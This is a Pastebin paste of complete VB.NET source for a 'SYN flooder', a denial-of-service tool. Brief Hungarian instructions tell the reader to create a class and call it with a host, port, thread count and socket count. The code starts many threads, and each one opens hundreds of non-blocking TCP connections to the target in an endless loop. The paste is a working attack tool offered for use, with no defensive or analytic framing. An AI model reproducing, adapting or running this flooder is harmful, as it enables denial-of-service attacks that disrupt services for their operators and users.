Advertisement
HeavenHU

VB.NET SYN Flooder

Aug 9th, 2015
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.82 KB | None | 0 0
  1. Funkció meghívása
  2. Syn.Host = "127.0.0.1"
  3. Syn.Port = "80"
  4. Syn.Threads = "50"
  5. Syn.SuperSynSockets = "500"
  6. Syn.StartSuperSyn()
  7.  
  8. Csinálj egy új class-t Syn néven, és másold bele ezt a kódot
  9. Imports System
  10. Imports System.Net
  11. Imports System.Net.Sockets
  12. Imports System.Threading
  13.  
  14. Friend Class Syn
  15.     Private Shared _floodingJob As ThreadStart()
  16.     Private Shared _floodingThread As Thread()
  17.     Private Shared _ipEo As IPEndPoint
  18.     Private Shared _synClass As SendSyn()
  19.     Public Shared Host As String
  20.     Public Shared IsEnabled As Boolean
  21.     Public Shared Port As Integer = 80
  22.     Public Shared SuperSynSockets As Integer = 200
  23.     Public Shared Threads As Integer = 5
  24.  
  25.     Public Shared Sub StartSuperSyn()
  26.         Try
  27.             Dim addressList As IPAddress() = Dns.GetHostEntry(Host).AddressList
  28.             _ipEo = New IPEndPoint(addressList(0), Port)
  29.         Catch
  30.             Dim address As IPAddress = IPAddress.Parse(Host)
  31.             _ipEo = New IPEndPoint(address, Port)
  32.         End Try
  33.         _floodingThread = New Thread(Threads - 1) {}
  34.         _floodingJob = New ThreadStart(Threads - 1) {}
  35.         _synClass = New SendSyn(Threads - 1) {}
  36.         For i As Integer = 0 To Threads - 1
  37.             _synClass(i) = New SendSyn(_ipEo, SuperSynSockets)
  38.             _floodingJob(i) = New ThreadStart(AddressOf _synClass(i).Send)
  39.             _floodingThread(i) = New Thread(_floodingJob(i))
  40.             _floodingThread(i).Start()
  41.         Next
  42.         IsEnabled = True
  43.     End Sub
  44.  
  45.     Public Shared Sub StopSuperSyn()
  46.         For i As Integer = 0 To Threads - 1
  47.             Try
  48.                 _floodingThread(i).Abort()
  49.                 _floodingThread(i) = Nothing
  50.                 _floodingJob(i) = Nothing
  51.                 _synClass(i) = Nothing
  52.             Catch
  53.             End Try
  54.         Next
  55.         IsEnabled = False
  56.     End Sub
  57.  
  58.  
  59.     Private Class SendSyn
  60.         Private _sock As Socket()
  61.         Private ipEo As IPEndPoint
  62.         Private SuperSynSockets As Integer
  63.  
  64.         Public Sub New(ByVal ipEo As IPEndPoint, ByVal superSynSockets__1 As Integer)
  65.             Me.ipEo = ipEo
  66.             SuperSynSockets = superSynSockets__1
  67.         End Sub
  68.  
  69.         Private Shared Sub OnConnect(ByVal ar As IAsyncResult)
  70.         End Sub
  71.  
  72.         Public Sub Send()
  73.             While True
  74.                 Dim num As Integer
  75.                 Try
  76.                     _sock = New Socket(SuperSynSockets - 1) {}
  77.                     For num = 0 To SuperSynSockets - 1
  78.                         _sock(num) = New Socket(ipEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp)
  79.                         _sock(num).Blocking = False
  80.                         _sock(num).BeginConnect(ipEo, New System.AsyncCallback(AddressOf OnConnect), _sock(num))
  81.                     Next
  82.                     Thread.Sleep(100)
  83.                     For num = 0 To SuperSynSockets - 1
  84.                         If _sock(num).Connected Then
  85.                             _sock(num).Disconnect(False)
  86.                         End If
  87.                         _sock(num).Close()
  88.                         _sock(num) = Nothing
  89.                     Next
  90.                     _sock = Nothing
  91.                 Catch
  92.                     For num = 0 To SuperSynSockets - 1
  93.                         Try
  94.                             If _sock IsNot Nothing Then
  95.                                 If _sock(num).Connected Then
  96.                                     _sock(num).Disconnect(False)
  97.                                 End If
  98.                                 _sock(num).Close()
  99.                                 _sock(num) = Nothing
  100.                             End If
  101.                         Catch
  102.                         End Try
  103.                     Next
  104.                 End Try
  105.             End While
  106.         End Sub
  107.     End Class
  108.  
  109. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement